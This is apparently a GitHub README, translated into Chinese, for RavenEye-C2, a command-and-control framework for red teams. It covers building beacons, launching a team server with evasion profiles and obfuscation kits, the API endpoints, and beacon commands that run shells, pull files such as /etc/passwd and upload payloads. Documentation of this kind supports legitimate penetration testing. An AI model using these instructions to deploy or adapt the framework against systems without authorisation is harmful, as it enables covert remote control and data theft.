KirkpatrickPrice-RavenEye/raveneye-c2

GitHub: KirkpatrickPrice-RavenEye/raveneye-c2

一款专为授权红队行动设计的轻量级 C2 框架,提供多平台 Beacon、Web 管理仪表板及加密通信能力。

Stars: 0 | Forks: 0

# RavenEye-C2 **用于授权红队行动的轻量级 Command & Control 框架** ![Status](https://img.shields.io/badge/Status-Production%20Ready-brightgreen) ![License](https://img.shields.io/badge/License-Private-red) ![Go Version](https://img.shields.io/badge/Go-1.20+-blue) ## ⚠️ 警告 **本框架专为授权的渗透测试和红队行动设计。** - 仅供授权的安全专业人员在受控实验室环境中使用 - 未经授权的访问、分发或使用是非法的 - 仅在获得明确授权的隔离实验室网络中使用 - 遵守所有适用的法律法规 ## 概述 RavenEye-C2 是一个生产就绪的 Command & Control 框架,专为授权的红队行动而构建。它提供: - **多平台 beacon**(macOS, Linux, Windows) - **基于 Web 的操作员仪表板**(React.js) - **基于 HTTP 的 C2 通信**(已加密) - **实时 agent 管理**和命令执行 - 用于程序化控制的 **REST API** - 用于实时 agent 更新的 **WebSocket** ## 快速开始 ### 前置条件 - Go 1.20+ - Node.js 16+(用于构建 UI) - macOS/Linux(用于构建脚本) ### 构建 ``` cd raveneye-c2 ./build.sh ``` 这将在 `build/raveneye-c2/` 中创建所有二进制文件: - **Team Server**:`servers/team-server-*`(Linux/macOS/Windows,x64/ARM64) - **Beacon**:`agents/beacon-*`(Linux/macOS/Windows,x64/ARM64) - **Web UI**:自动构建并嵌入到 Team Server 中 **注意**:构建脚本将自动安装 Node.js 依赖项。 ### 启动 C2 Server 基础部署: ``` cd server ../build/raveneye-c2/servers/team-server-macos-x64 -port 31337 -password changeme ``` 使用 malleable C2 profile(推荐用于规避检测): ``` ../build/raveneye-c2/servers/team-server-macos-x64 \ -port 31337 \ -password changeme \ -profiles ../profiles \ -profile chrome_beacon ``` **启动参数:** - `-port `:监听端口(默认:31337) - `-password `:操作员密码(默认:changeme) - `-profiles `:malleable C2 profile 目录(默认:profiles/) - `-profile `:启动时激活的 profile **关于 Artifact Kit 的说明**:Artifact kit 在启动时从 `artifacts/` 目录**自动加载**(无需 CLI 参数)。操作员可以在 Payloads 标签页中生成 payload 时选择要应用的 kit。 你将看到: ``` [*] Loaded artifact kit: compression [*] Loaded artifact kit: encoding [*] Loaded artifact kit: obfuscation [*] Loaded artifact kit: polymorphic [*] Successfully loaded 4 artifact kit(s) from ../artifacts [*] Loaded profile: chrome_beacon [*] Loaded profile: cloudflare_cdn [*] Loaded profile: default_evasion [*] Successfully loaded 3 profile(s) [*] Active profile set to: chrome_beacon ====================================================================== RAVENEYE-C2 TEAM SERVER ====================================================================== Web UI: http://localhost:31337 Started at 2026-06-17T09:24:39-05:00 ====================================================================== ``` 然后在浏览器中打开 **http://localhost:31337**,并使用密码 `changeme` 登录。 ### 部署 Beacon ``` ../build/raveneye-c2/agents/beacon-macos-x64 -c2 -port 31337 -beacon 5 ``` Beacon 将向 Team Server 注册,并显示在仪表板中。 ### 执行命令 1. 登录到 Web 仪表板(http://localhost:31337) 2. 从列表中选择一个 agent 3. 在终端中输入命令并按回车键 4. 实时查看输出 ## 项目结构 ``` raveneye-c2/ ├── agent/ │ ├── beacon.go # HTTP-based beacon agent │ └── legacy/ # Legacy agents (archived) ├── server/ │ ├── team_server.go # Main C2 Team Server │ ├── api_endpoints.go # All REST API endpoints │ ├── modules.go # 16 post-exploitation modules │ ├── payload_generator.go # Payload generation engine │ ├── shellcode_extractor.go # Shellcode extraction │ ├── bof_compiler.go # BOF compilation │ ├── models.go # Data models + ArtifactKitManager │ ├── database.go # SQLite persistence │ ├── ui/ # Static React UI files (built by npm) │ └── build/ # Compiled UI output ├── kits/ # Artifact kit configurations │ ├── obfuscation/ # Variable randomization & control flow │ ├── encoding/ # XOR/Base64 payload encoding │ ├── compression/ # UPX executable compression │ ├── polymorphic/ # Polymorphic code generation │ └── README.md # Artifact kit documentation ├── profiles/ # Malleable C2 profiles │ ├── chrome_beacon.json # Chrome-like evasion profile │ ├── cloudflare_cdn.json # Cloudflare CDN fronting profile │ ├── default_evasion.json # Low-and-slow stealth profile │ └── README.md # Profile customization guide ├── ui/ │ ├── src/ │ │ ├── components/ # 9 feature tabs + shared components │ │ ├── services/ # API & WebSocket services │ │ └── types/ # TypeScript type definitions │ ├── package.json # Dependencies │ └── public/ # Static assets ├── build.sh # Build script (Go + React) ├── start-dev.sh # Development server launcher └── README.md # This file ``` ## 架构 ### 三层设计 ``` ┌──────────────────────────────┐ │ Web Dashboard (React) │ │ http://localhost:31337 │ └──────────┬───────────────────┘ │ WebSocket + REST API │ ┌──────────▼──────────────────┐ │ Team Server (Go) │ │ ───────────────── │ │ - HTTP listener :31337 │ │ - Agent management │ │ - Job scheduling │ │ - Real-time updates │ └──────────┬───────────────────┘ │ HTTP POST │ ┌──────────▼──────────────────┐ │ Beacons (Go) │ │ - /api/beacon/checkin │ │ - /api/beacon/report │ │ - Shell command execution │ └──────────────────────────────┘ ``` ### Beacon 工作流程 1. Beacon 启动:连接到 Team Server 2. 使用 agent 元数据 POST 到 `/api/beacon/checkin` 3. Server 响应待处理的 job 4. Beacon 执行 job(shell, download, upload, execute) 5. 使用结果 POST 到 `/api/beacon/report` 6. Web 仪表板通过 WebSocket 实时显示输出 ## API Endpoint ### 身份验证 ``` POST /api/login - Body: {"password": "changeme"} - Response: {"status": "ok", "message": "Authentication successful"} ``` ### Agent 管理 ``` GET /api/agents - Returns: list of registered agents - Headers: Authorization: Bearer GET /api/agents/ - Returns: agent details - Headers: Authorization: Bearer ``` ### Job 控制 ``` POST /api/jobs - Body: {"agent_id": "...", "command": "shell", "args": ["whoami"]} - Headers: Authorization: Bearer - Response: job object with ID GET /api/jobs/ - Returns: job status and output - Headers: Authorization: Bearer ``` ### Beacon Endpoint(无需身份验证) ``` POST /api/beacon/checkin - Agent registration and job polling - Body: {"agent_id": "...", "metadata": {...}, "hostname": "..."} POST /api/beacon/report - Job result reporting - Body: {"job_id": "...", "status": "completed", "output": "..."} ``` ### WebSocket ``` ws://localhost:31337/ws?password=changeme - Real-time agent updates - Message types: agent_list, job_result, agent_registered ``` ## 构建系统 ### 构建所有内容 ``` ./build.sh ``` ### 仅构建 Team Server ``` cd server && go build -o team-server team_server.go ``` ### 仅构建 Beacon ``` cd agent && \ GOOS=darwin GOARCH=amd64 go build -o beacon-macos-x64 beacon.go && \ GOOS=linux GOARCH=amd64 go build -o beacon-linux-x64 beacon.go ``` ### 仅构建 React UI ``` cd ui && \ NODE_OPTIONS=--openssl-legacy-provider npm run build ``` ## 配置 ### Team Server 参数 ``` -port Default: 31337 -password Default: changeme ``` ### Beacon 参数 ``` -c2 C2 server address (default: 127.0.0.1:31337) -port C2 server port (default: 31337) -beacon Beacon interval in seconds (default: 5) ``` ## 支持的命令 Beacon 支持以下命令类型: ### shell 执行 shell 命令 ``` { "command": "shell", "args": ["whoami", "id", "hostname"] } ``` ### 下载 从目标下载文件 ``` { "command": "download", "args": ["/etc/passwd"] } ``` ### 上传 上传文件到目标 ``` { "command": "upload", "args": ["/tmp/payload", "file contents here"] } ``` ### 执行 执行二进制文件 ``` { "command": "execute", "args": ["/bin/ls", "-la"] } ``` ### 退出 终止 beacon ``` { "command": "exit" } ``` ## 安全说明 ### 加密 - Agent 元数据和 job 结果通过 HTTP POST 发送(生产环境请考虑使用 HTTPS) - 身份验证使用 Bearer token(密码在 Authorization 标头中发送) - WebSocket 使用密码作为查询参数(生产环境请使用 WSS) ### 生产环境使用建议 - 在 HTTPS/TLS 之后部署 Team Server - 使用强密码 - 限制对 Team Server 的网络访问 - 监控并记录所有 API 请求 - 测试后清理 agent - 仅使用隔离的实验室网络 ## 故障排除 ### Beacon 未出现在仪表板中 1. 验证 Team Server 是否正在运行:`ps aux | grep team-server` 2. 检查 beacon 日志是否有连接错误 3. 验证 beacon 命令中的 `-c2` 地址和 `-port` 是否正确 4. 确保 firewall 允许连接到 Team Server 端口 ### 命令未执行 1. 检查仪表板中 agent 是否处于 "active" 状态 2. 验证 job 是否已创建(检查 `/api/jobs/`) 3. 检查 beacon 日志是否有 job 执行错误 4. 验证命令语法是否与 beacon 实现匹配 ### 仪表板未加载 1. 清除浏览器缓存(Ctrl+Shift+Del 或 Cmd+Shift+Del) 2. 强制刷新(Ctrl+Shift+R 或 Cmd+Shift+R) 3. 检查 Team Server 日志:`tail -f /tmp/server.log` 4. 通过浏览器开发者工具(Network 标签页)验证 WebSocket 连接 ## 测试 ### 手动测试 ``` # 通过 curl 创建测试任务 AGENT_ID=$(curl -s http://localhost:31337/api/agents \ -H "Authorization: Bearer changeme" | jq -r '.[0].id') curl -X POST http://localhost:31337/api/jobs \ -H "Authorization: Bearer changeme" \ -H "Content-Type: application/json" \ -d "{\"agent_id\": \"$AGENT_ID\", \"command\": \"shell\", \"args\": [\"whoami\"]}" ``` ### 集成测试 ``` cd tests && go test ./... ``` ## 文档 - **[QUICK_DEPLOY.md](QUICK_DEPLOY.md)** - 快速部署指南 - **[ARCHITECTURE.md](ARCHITECTURE.md)** - 系统架构详情 - **[HOW_TO_USE.md](HOW_TO_USE.md)** - 详细使用示例 ## 许可证 **私有 - 仅限授权使用** 本框架是专有的,仅供授权的安全专业人员授权使用。严禁未经授权的复制、分发或使用。 ## 支持与联系 如有问题或疑问: 1. 查阅文档文件 2. 检查故障排除部分 3. 咨询你的团队主管 **版本**:1.0.0 **最后更新**:2026 年 6 月 16 日 **状态**:生产就绪
标签:C2框架, EVTX分析, Go, IP 地址批量处理, MITM代理, React, Ruby工具, Syscalls, 安全学习资源, 日志审计, 网络信息收集, 网络安全, 隐私保护